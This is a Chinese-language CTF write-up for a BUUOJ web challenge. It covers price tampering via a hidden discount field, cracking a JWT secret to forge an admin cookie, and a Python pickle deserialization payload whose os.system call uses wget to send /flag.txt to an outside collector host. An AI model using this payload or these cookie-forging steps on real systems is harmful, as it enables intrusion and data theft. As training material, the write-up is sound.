复现环境:https://github.com/CTFTraining/CISCN_2019_northern_China_day1_web2
在线复现环境:http://web44.buuoj.cn/
知识点:
- 薅羊毛与逻辑漏洞
- cookie伪造
- python反序列化
步骤:
1. 打开靶机,是这样一个页面。
2.那么先注册登录试试。
3.主界面提示了买 lv6,那么就写个脚本搜 lv6。
Python 脚本:
import requests
url = "http://web44.buuoj.cn/"
for i in range(1, 2000):
r = requests.get(url + "shop?page=" + str(i))
if r.text.find("lv6.png") != -1:
print(i)
break
跑一下脚本,可以看到 lv6 在 181 页。
4.打开 181 页,有个 lv6.
5.尝试购买,审计页面源码,在页面里发现有个discount 折扣额度,将其改为一个很小的数试试。
6.购买,跳到了这个页面。/b1g_m4mber
7.要求 admin,那么就来看看 Cookie,发现有个 JWT。
8. jwt.io 解析看看,发现是 HS256 对称加密的,尝试利用 jwt-cracker 来爆破密钥试试。用 c-jwt-cracker 跑密钥更快(感谢 tinmin 推介)。
> ./jwtcrack "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImdsemppbjIwMTkifQ.2xY8c1v1Y61F9kmXKUf9R-emOXleODgix_2X_A3oYA8"
9. 跑出来密钥为 1Kun,那么将 payload 里的 username 改为 admin 试试。
10.置 Cookie,刷新页面,发现伪造奏效了。
12.然后审计页面源码,发现有个链接。
13.下载看看,是源码包。
14.审计源码,发现其在 sshop/views/Admin.py 有个反序列化点。
15.利用如下脚本生成 payload 来执行任意命令,比如读取 flag。由于靶机不能访问外网,所以我就让他访问内网的 xss 平台 xss.buuoj.cn 来收 flag了。
补充:https://xz.aliyun.com/t/5383 天枢的师傅们是直接读的,更方便。
import os
import pickle
import urllib
class test(object):
def __reduce__(self):
return (os.system,("wget 'http://xss.buuoj.cn/index.php?do=api&id=Fk3XC0' --post-data='location='`cat /flag.txt` -O-",))
a=test()
payload=pickle.dumps(a)
print(urllib.quote(payload))
注意靶机是 Python2,这个也需要在 Python 2 下跑,而且如果是 Windows 的下的话得用 bash 来跑,保证前面是 cposix。
16.审计刚才那个页面,将输入框的 hidden 属性删掉,将 payload 粘进去提交。
17. XSS 平台收 Flag.
18.Flag 到手~